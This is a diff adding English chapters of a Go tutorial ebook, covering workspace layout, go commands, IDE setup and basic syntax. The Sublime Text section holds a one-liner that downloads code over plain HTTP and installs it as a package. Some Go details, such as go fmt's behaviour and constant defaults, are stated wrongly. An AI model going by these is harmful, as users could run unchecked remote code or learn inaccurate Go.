code. + package main + + import ( + "mymath" + "fmt" + ) + + func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) + } + +To compile this application, you need to switch to the application directory which is `$GOPATH/src/mathapp` in this case, then execute command `go install`. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use command `./mathapp`, you should see following content in your terminal. + + Hello world. Sqrt(2) = 1.414213562373095 + +## Install remote packages + +Go has a tool for installing remote packages, which is the command called `go get`. It supports most of open source communities, including Github, Google Code, BitBucket, and Launchpad. + + go get github.com/astaxie/beedb + +You can use `go get -u …` to update your remote packages, and it will automatically install all the dependent packages as well. + +This tool will use different version control tools for different open source platforms. For example, `git` for Github, `hg` for Google Code. Therefore you have to install these version control tools before you use `go get`. + +After executed above commands, the directory structure should look like following. + + $GOPATH + src + |-github.com + |-astaxie + |-beedb + pkg + |--${GOOS}_${GOARCH} + |-github.com + |-astaxie + |-beedb.a + +Actually, `go get` clones source code to $GOPATH/src of local file system, then executes `go install`. + +Use remote packages is the same way as we use local packages. + + import "github.com/astaxie/beedb" + +## Directory complete structure + +If you follow all steps, your directory structure should look like the following now. + + bin/ + mathapp + pkg/ + ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +Now you are able to see the directory structure clearly, `bin` contains executable files, `pkg` contains compiled files, `src` contains package source files. + +(The format of environment variables in Windows is `%GOPATH%`, this book mainly uses Unix-style, so Windows users need to replace by yourself.) + +## Links + +- [Directory](preface.md) +- Previous section: [Installation](01.1.md) +- Next section: [Go commands](01.3.md) diff --git a/en/eBook/01.3.md b/en/eBook/01.3.md new file mode 100644 index 00000000..e9a8d5b5 --- /dev/null +++ b/en/eBook/01.3.md @@ -0,0 +1,104 @@ +#1.3 Go commands + +## Go commands + +Go language comes with a complete set of command operation tool, you can execute the command line `go` to see them: + +![](images/1.3.go.png?raw=true) + +Figure 1.3 Go command displays detailed information + +These are all useful for us, let's see how to use some of them. + +## go build + +This command is for compiling tests, it will compile dependence packages if it's necessary. + +- If the package is not the `main` package such as `mymath` in section 1.2, nothing will be generated after you executed `go build`. If you need package file `.a` in `$GOPATH/pkg`, use `go install` instead. +- If the package is the `main` package, it will generate an executable file in the same folder. If you want the file to be generated in `$GOPATH/bin`, use `go install` or `go build -o ${PATH_HERE}/a.exe.` +- If there are many files in the folder, but you just want to compile one of them, you should append file name after `go build`. For example, `go build a.go`. `go build` will compile all the files in the folder. +- You can also assign the name of file that will be generated. For instance, we have `mathapp` in section 1.2, use `go build -o astaxie.exe` will generate `astaxie.exe` instead of `mathapp.exe`. The default name is your folder name(non-main package) or the first source file name(main package). + +(According to [The Go Programming Language Specification](https://golang.org/ref/spec), package name should be the name after the word `package` in the first line of your source files, it doesn't have to be the same as folder's, and the executable file name will be your folder name as default.]) + +- `go build` ignores files whose name starts with `_` or `.`. +- If you want to have different source files for every operating system, you can name files with system name as suffix. Suppose there are some source files for loading arrays, they could be named as follows. + + array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go + +`go build` chooses the one that associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others. + +## go clean + +This command is for clean files that are generated by compilers, including following files. + + _obj/ // old directory of object, left by Makefiles + _test/ // old directory of test, left by Makefiles + _testmain.go // old directory of gotest, left by Makefiles + test.out // old directory of test, left by Makefiles + build.out // old directory of test, left by Makefiles + *.[568ao] // object files, left by Makefiles + + DIR(.exe) // generated by go build + DIR.test(.exe) // generated by go test -c + MAINFILE(.exe) // generated by go build MAINFILE.go + +I usually use this command to clean my files before I upload my project to the Github, these are useful for local tests, but useless for version control. + +## go fmt + +The people who are working with C/C++ should know that people are always arguing about code style between K&R-style and ANSI-style, which one is better. However in Go, there is only one code style which is forced to use. For example, you must put left brace in the end of the line, and can't put it in a single line, otherwise you will get compile errors! Fortunately, you don't have to remember these rules, `go fmt` does this job for you, just execute command `go fmt .go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files, I will talk about IDEs more in next section. + +We usually use `gofmt -w` instead of `go fmt`, the latter will not rewrite your source files after formatted code. `gofmt -w src` formats the whole project. + +## go get + +This command is for getting remote packages, it supports BitBucket, Github, Google Code, Launchpad so far. There are actually two things happening after we executed this command. The first thing is to download source code, then executes `go install`. Before you use this command, make sure you have installed related tools. + + BitBucket (Mercurial Git) + Github (git) + Google Code (Git, Mercurial, Subversion) + Launchpad (Bazaar) + +In order to use this command, you have to install these tools correctly. Don't forget to set `PATH`. By the way, it also supports customized domain names, use `go help remote` for more details. + +## go install + +This command compiles all packages and generate files, then move them to `$GOPATH/pkg` or `$GOPATH/bin`. + +## go test + +This command loads all files whose name include `*_test.go` and generate test files, then prints information looks like follows. + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + +It tests all your test files as default, use command `go help testflag` for more details. + +## go doc + +Many people said that we don't need any third-party documentation for programming in Go(actually I've made a [CHM](https://github.com/astaxie/godoc) already), Go has a powerful tool to manage documentation by itself. + +So how to look up packages' information in documentation? If you want to get more details about package `builtin`, use command `go doc builtin`, and use command `go doc net/http` for package `http`. If you want to see more details about specific functions, use command `godoc fmt Printf`, and `godoc -src fmt Printf` to view source code. + +Execute command `godoc -http=:8080`, then open `127.0.0.1:8080` in your browsers, you should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China. + +## Other commands + +Go provides more commands then I just talked about. + + go fix // upgrade code from old version before go1 to new version after go1 + go version // get information about Go version + go env // view environment variables about Go + go list // list all installed packages + go run // compile temporary files and run the application + +There are also more details about commands that I talked about, you can use `go help ` to get more information. + +## Links + +- [Directory](preface.md) +- Previous section: [$GOPATH and workspace](01.2.md) +- Next section: [Go development tools](01.4.md) diff --git a/en/eBook/01.4.md b/en/eBook/01.4.md new file mode 100644 index 00000000..bbbe9b19 --- /dev/null +++ b/en/eBook/01.4.md @@ -0,0 +1,398 @@ +# Go development tools + +In this section, I'm going to show you some IDEs that have abilities of intelligent completion and auto-format. There are all cross-platform, so the steps I show you should not be very different if you are not using same operating system. + +## LiteIDE + +LiteIDE is an open source, lightweight IDE for developing Go project only, developed by visualfc. + +![](images/1.4.liteide.png?raw=true) + +Figure 1.4 Main panel of LiteIDE + +LiteIDE features. + +- Cross-platform + - Windows + - Linux + - Mac OS +- Cross-compile + - Manage multiple compile environment + - Supports cross-compile of Go +- Project management standard + - Documentation view based on $GOPATH + - Compile system based on $GOPATH + - API documentation index based on $GOPATH +- Go source code editor + - Code outlining + - Full support of gocode + - Go documentation view and API index + - View code expression by `F1` + - Function declaration jump by `F2` + - Gdb support + - Auto-format with `gofmt` +- Others + - Multi-language + - Plugin system + - Text editor themes + - Syntax support based on Kate + - intelligent completion based on full-text + - Customized shortcuts + - Markdown support + - Real-time preview + - Customized CSS + - Export HTML and PDF + - Convert and merge to HTML and PDF + +### LiteIDE installation + +- Install LiteIDE + - [Download page](http://code.google.com/p/golangide) + - [Source code](https://github.com/visualfc/liteide) + + You need to install Go first, then download the version of your operating system. Decompress the package to direct use. +- Install gocode + + You have to install gocode in order to use intelligent completion + + go get -u github.com/nsf/gocode + +- Compile environment + + Switch configuration in LiteIDE that fits your operating system. + In Windows and 64-bit version of Go, you should choose win64 in environment configuration in tool bar. Then you choose `opinion`, find `LiteEnv` in the left list, open file `win64.env` in the right list. + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support. + + In Linux and 64-bit version of Go, you should choose linux64 in environment configuration in tool bar. Then you choose `opinion`, find `LiteEnv` in the left list, open file `linux64.env` in the right list. + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + Replace `GOROOT=$HOME/go` to your Go installation path, save it. +- $GOPATH + $GOPATH is the path that contains project list, open command tool (or press `Ctrl+` in LiteIDE) then type `go help gopath` for more details. + It's very easy to view and change $GOPATH in the LiteIDE. Follow `View - Setup GOPATH` to view and change these values. + +## Sublime Text + +Here I'm going to introduce you the Sublime Text 2 (Sublime for short) + GoSublime + gocode + MarGo. Let me explain why. + +- Intelligent completion + + ![](images/1.4.sublime1.png?raw=true) + + Figure 1.5 Sublime intelligent completion +- Auto-format source files +- Project management + + ![](images/1.4.sublime2.png?raw=true) + + Figure 1.6 Sublime project management + +- Syntax highlight +- Free trail forever, no functions limit. It will pop-up unregistered prompt sometimes, but you can just ignore it. + +First, download the version of [Sublime](http://www.sublimetext.com/) that fits your operating system. + +1. Press `Ctrl+` ` open command tool, input following commands. + + import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' + + Restart when installation finished. Then you can find `Package Control` item in the Preferences menu. + + ![](images/1.4.sublime3.png?raw=true) + + Figure 1.7 Sublime Package Control +2. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package"). + + ![](images/1.4.sublime4.png?raw=true) + + Figure 1.8 Sublime Install Packages + + Now you type GoSublime, press OK to install, same steps for installing SidebarEnhancements and Go Build. Restart when it finished installation. +3. To verify if installation is successful, open Sublime, then open file `main.go` to see if it has syntax highlight, type `import` to see if it has prompts, after typed `import "fmt"`, type `fmt.` to see if it has intelligent completion for functions. + + If everything is fine, you're all set. + + If not, check your $PATH again. Open terminal, type `gocode`, if it cannot run, your $PATH must not configure correctly. + +## Vim + +Vim a popular text editor for programmers, which is developing from vi. It has functions for intelligent completion, compile and jump to errors. + +![](images/1.4.vim.png?raw=true) + +Figure 1.8 Vim intelligent completion for Go + +1. Syntax highlight for Go + + cp -r $GOROOT/misc/vim/* ~/.vim/ + +2. Set syntax highlight on + + filetype plugin indent on + syntax on + +3. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default +4. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + Explanation of gocode set. + + propose-builtins: whether open intelligent completion or not, false as default. + + lib-path: gocode only search packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`, this setting can add additional path. +5. Congratulations! Try `:e main.go` to experience the world of Go! + +## Emacs + +Emacs is so-called Weapon of God. She is not only an editor, also a powerful IDE. + +![](images/1.4.emacs.png?raw=true) + +Figure 1.10 Emacs main panel of Go editor + +1. Syntax highlight + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default +3. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. Install [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + Download and uncompress + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + Configure ~/.emacs file + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + Follow this [link](http://www.emacswiki.org/emacs/AutoComplete) for more details. +5. Configure .emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) +6. Congratulations! speedbar is closed as default, cut comment symbols in line `;;(speedbar 1)` to have this feature, or you can have it through `M-x speedbar`. + +## Eclipse + +Eclipse is also a great development tool, I'll show you how to use it to write Go programs. + +![](images/1.4.eclipse1.png?raw=true) + +Figure 1.1 Eclipse main panel of Go editor + +1. Download and install [Eclipse](http://www.eclipse.org/) +2. Download [goclipse](https://code.google.com/p/goclipse/) + [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) +3. Download gocode + + gocode in Github. + + https://github.com/nsf/gocode + + You need to install git in Windows, usually we use [msysgit](https://code.google.com/p/msysgit/) + + Install gocode in the command tool + + go get -u github.com/nsf/gocode + + You can install from source code if you like. +4. Download and install [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/) +5. Configure plugins. + + Windows->Preferences->Go + + (1).Configure Go compiler + + ![](images/1.4.eclipse2.png?raw=true) + + Figure 1.12 Go Setting in Eclipse + + (2).Configure gocode(optional), set gocode path to where the gocode.exe is. + + ![](images/1.4.eclipse3.png?raw=true) + + Figure 1.13 gocode Setting + + (3).Configure gdb(optional), set gdb path to where the gdb.exe is. + + ![](images/1.4.eclipse4.png?raw=true) + + Figure 1.14 gdb Setting +6. Check installation + + Create a new Go project and hello.go file as following. + + ![](images/1.4.eclipse5.png?raw=true) + + Figure 1.15 Create new project and file + + Test installation as follows.(you need to type command in console in Eclipse) + + ![](images/1.4.eclipse6.png?raw=true) + + Figure 1.16 Test Go program in Eclipse + +## IntelliJ IDEA + +People who are working with Java should be familiar with this IDE, it supports Go syntax highlight, intelligent completion and reconstructed by a plugin. + +1. Download IDEA, there is no different from Ultimate and Community Edition + + ![](images/1.4.idea1.png?raw=true) + +2. Install Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`. + + ![](images/1.4.idea3.png?raw=true) + +3. Search `golang`, double click `download and install`, wait for downloading. + + ![](images/1.4.idea4.png?raw=true) + + Click `Apply`, then restart. +4. Now you can create Go project. + + ![](images/1.4.idea5.png?raw=true) + + Input position of go sdk in the next step, basically it's your $GOROOT. + +( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Go commands](01.3.md) +- Next section: [Summary](01.5.md) diff --git a/en/eBook/01.5.md b/en/eBook/01.5.md new file mode 100644 index 00000000..351687d0 --- /dev/null +++ b/en/eBook/01.5.md @@ -0,0 +1,9 @@ +# 1.5 Summary + +In this chapter, we talked about how to install Go through three ways, including from source code, standard package and third-party tools. Then we showed you how to configure Go development environment, mainly about `$GOPATH`. After that, we introduced the steps in compile and deployment of Go programs. Then we talked about Go commands, these commands including compile, install, format, test. Finally, there are many powerful tools to develop Go programs, such as LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Go development tools](01.4.md) +- Next chapter: [Go basic knowledge](02.0.md) \ No newline at end of file diff --git a/en/eBook/02.0.md b/en/eBook/02.0.md new file mode 100644 index 00000000..3ef864b1 --- /dev/null +++ b/en/eBook/02.0.md @@ -0,0 +1,17 @@ +# 2 Go basic knowledge + +Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords, even less than 26 English letters! Let's take a look at these keywords before we get started. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +In this chapter, I'm going to teach you some basic Go knowledge. You will find how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you'll be familiar with the above keywords. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 1 Summary](01.5.md) +- Next section: ["Hello, Go"](02.1.md) \ No newline at end of file diff --git a/en/eBook/02.1.md b/en/eBook/02.1.md new file mode 100644 index 00000000..6ad095ce --- /dev/null +++ b/en/eBook/02.1.md @@ -0,0 +1,53 @@ +# 2.1 Hello, Go + +Before we start building an application in Go, we need to learn how to write a simple program. It's like you cannot build a building without knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section. + +## Program + +According to international practice, before you learn how to programming in some languages, you may want to know how to write a program to print "Hello world". + +Are you ready? Let's Go! + + package main + + import "fmt" + + func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") + } + +It prints following information. + + Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界 + +## Explanation + +One thing that you should know in the first is that Go programs are composed by `package`. + +`package` (In this case is `package main`) tells us this source file belongs to `main` package, and the keyword `main` tells us this package will be compiled to a program instead of package files whose extensions are `.a`. + +Every executable program has one and only one `main` package, and you need an entry function called `main` without any argument and return value in the `main` package. + +In order to print `Hello, world…`, we called a function called `Printf`. This function is coming from `fmt` package, so we import this package in the third line of source code, which is `import "fmt"` + +The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later. + +On the fifth line, we use the keyword `func` to define the `main` function. The body of the function is inside of `{}`, just like C, C++ and Java. + +As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values. + +On the sixth line, we called the function `Printf` which is from the package `fmt`. This was called by the syntax `.`, which is very like Python-style. + +As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `` comes from the name in `package `, not the folder's name. + +You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. + +## Conclusion + +Go uses `package` (like modules in Python) to organize programs. The function `main.main()` (this function must be in the `main` package) is the entry point of any program. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go supports multi-language from the time it was born. + +## Links + +- [Directory](preface.md) +- Previous section: [Go basic knowledge](02.0.md) +- Next section: [Go foundation](02.2.md) \ No newline at end of file diff --git a/en/eBook/02.2.md b/en/eBook/02.2.md new file mode 100644 index 00000000..261447f5 --- /dev/null +++ b/en/eBook/02.2.md @@ -0,0 +1,456 @@ +# 2.2 Go foundation + +In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming. + +## Define variables + +There are many forms of syntax that can define variables in Go. + +Use keyword `var` is the basic form to define variables, notice that Go puts variable type `after` variable name. + + // define a variable with name “variableName” and type "type" + var variableName type + +Define multiple variables. + + // define three variables which types are "type" + var vname1, vname2, vname3 type + +Define a variable with initial value. + + // define a variable with name “variableName”, type "type" and value "value" + var variableName type = value + +Define multiple variables with initial values. + + /* + Define three variables with type "type", and initialize their values. + vname1 is v1, vname2 is v2, vname3 is v3 + */ + var vname1, vname2, vname3 type = v1, v2, v3 + +Do you think it's too tedious to define variables use the way above? Don't worry because Go team found this problem as well. Therefore if you want to define variables with initial values, we can just omit variable type, so the code will look like this: + + /* + Define three variables with type "type", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 + */ + var vname1, vname2, vname3 = v1, v2, v3 + +Well, I know this is still not simple enough for you, so do I. Let's see how we fix it. + + /* + Define three variables with type "type", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 + */ + vname1, vname2, vname3 := v1, v2, v3 + +Now it looks much better. Use `:=` to replace `var` and `type`, this is called brief statement. But wait, it has one limitation that this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables, and we can use this brief statement in `var()`. + +`_` (blank) is a special name of variable, any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) + + _, b := 34, 35 + +If you don't use any variable that you defined in the program, compiler will give you compile errors. Try to compile following code, see what happens. + + package main + + func main() { + var i int + } + +## Constants + +So-called constants are the values that are determined in the compile time, and you cannot change them during runtime. In Go, you can use number, boolean or string as type of constants. + +Define constants as follows. + + const constantName = value + // you can assign type of constants if it's necessary + const Pi float32 = 3.1415926 + +More examples. + + const Pi = 3.1415926 + const i = 10000 + const MaxThread = 10 + const prefix = "astaxie_" + +## Elementary types + +### Boolean + +In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** ) + + // sample code + var isActive bool // global variable + var enabled, disabled = true, false // omit type of variables + func test() { + var available bool // local variable + valid := false // brief statement of variable + available = true // assign value to variable + } + +### Numerical types + +Integer types including signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. + +One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. + + var a int8 + + var b int32 + + c := a + b + +Although int has longer length than uint8, and has same length as int32, but you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) + +Float types have `float32` and `float64`, and no type called `float`, latter one is default type if you use brief statement. + +That's all? No! Go has complex number as well. `complex128` (with a 64-bit real and 64-bit imaginary part)is default type, if you need smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is imaginary number. There is a example of complex number. + + var c complex64 = 5+5i + //output: (5+5i) + fmt.Printf("Value is: %v", c) + +### String + +We just talked about that Go uses UTF-8 character set. Strings are represented by double quotes `""` or backtracks ``` `. + + // sample code + var frenchHello string // basic form to define string + var emptyString string = "" // define a string with empty string + func test() { + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiou" + frenchHello = "Bonjour" // basic form of assign values + } + +It's impossible to change string values by index, you will get errors when you compile following code. + + var s string = "hello" + s[0] = 'c' + +What if I really want to change just one character in a string? Try following code. + + s := "hello" + c := []byte(s) // convert string to []byte type + c[0] = 'c' + s2 := string(c) // convert back to string type + fmt.Printf("%s\n", s2) + +You can use operator `+` to combine two strings. + + s := "hello," + m := " world" + a := s + m + fmt.Printf("%s\n", a) + +and also. + + s := "hello" + s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. + fmt.Printf("%s\n", s) + +What if I want to have a multiple-line string? + + m := `hello + world` + +`` ` will not escape any characters in a string. + +### Error types + +Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. + + err := errors.New("emit macho dwarf: elf header corrupted") + if err != nil { + fmt.Print(err) + } + +### Underlying data structure + +The following picture comes from a article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox Blog](http://research.swtch.com/). As you can see, Go gives blocks in memory to store data. + +![](images/2.2.basic.png?raw=true) + +Figure 2.1 Go underlying data structure + +## Some skills + +### Define by group + +If you want to define multiple constants, variables or import packages, you can use group form. + +Basic form. + + import "fmt" + import "os" + + const i = 100 + const pi = 3.1415 + const prefix = "Go_" + + var i int + var pi float32 + var prefix string + +Group form. + + import( + "fmt" + "os" + ) + + const( + i = 100 + pi = 3.1415 + prefix = "Go_" + ) + + var( + i int + pi float32 + prefix string + ) + +Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. + +### iota enumerate + +Go has one keyword `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. + + const( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after constants name, it uses the last expression, so here is saying w = iota implicitly. Therefore w == 3, and y and x both can omit "= iota" as well. + ) + + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. + ) + +### Some rules + +The reason that Go is concise because it has some default behaviors. + +- Any variable starts with capital letter means it will be exported, private otherwise. +- Same rule for functions and constants, no `public` or `private` keyword exists in Go. + +## array, slice, map + +### array + +`array` is array obviously, we define them as follows. + + var arr [n]type + +in `[n]type`, `n` is the length of array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values in array. + + var arr [10]int // an array of type int + arr[0] = 42 // array is 0-based + arr[1] = 13 // assign value to element + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) //it returns default value of 10th element in this array, which is 0 in this case. + +Because length is a part of array type, `[3]int` and `[4]int` are different types, so we cannot change length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use reference, you may want to use `slice` which we will talk about latter. + +It's possible to use `:=` when you define arrays. + + a := [3]int{1, 2, 3} // define a int array with 3 elements + + b := [10]int{1, 2, 3} // define a int array with 10 elements, and first three are assigned, rest of them use default value 0. + + c := [...]int{4, 5, 6} // use `…` replace with number of length, Go will calculate it for you. + +You may want to use arrays as arrays' elements, let's see how to do it. + + // define a two-dimensional array with 2 elements, and each element has 4 elements. + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // You can write about declaration in a shorter way. + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + +Array underlying data structure. + +![](images/2.2.array.png?raw=true) + +Figure 2.2 Multidimensional array mapping relationship + +### slice + +In many situations, array is not a good choice. For example, we don't know how long the array will be when we define it, so we need "dynamic array". This is called `slice` in Go. + +`slice` is not really `dynamic array`, it's a reference type. `slice` points to an underlying `array`, its declaration is similar to `array`, but doesn't need length. + + // just like to define array, but no length this time + var fslice []int + +Then we define a `slice`, and initialize its data. + + slice := []byte {'a', 'b', 'c', 'd'} + +`slice` can redefine from exists slices or arrays. `slice` use `array[i:j]` to slice, where `i` is start index and `j` is end index, but notice that `array[j]` will not be sliced, now the length of slice is `j-i`. + + // define a slice with 10 elements which types are byte + var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // define two slices with type []byte + var a, b []byte + + // a points to elements from 3rd to 5th in array ar. + a = ar[2:5] + // now a has elements ar[2],ar[3] and ar[4] + + // b is another slice of array ar + b = ar[3:5] + // now b has elements ar[3] and ar[4] + +Notice that differences between `slice` and `array` when you define them. We use `[…]` let Go calculates length but use `[]` to define slice only. + +Their underlying data structure. + +![](images/2.2.slice.png?raw=true) + +Figure 2.3 Correspondence between slice and array + +slice has some convenient operations. + +- `slice` is 0-based, `ar[:n]` equals to `ar[0:n]` +- Second index will be the length of `slice` if you omit it, `ar[n:]` equals to `ar[n:len(ar)]`. +- You can use `ar[:]` to slice whole array, reasons are explained in first two statements. + +More examples about `slice` + + // define an array + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // define two slices + var aSlice, bSlice []byte + + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to 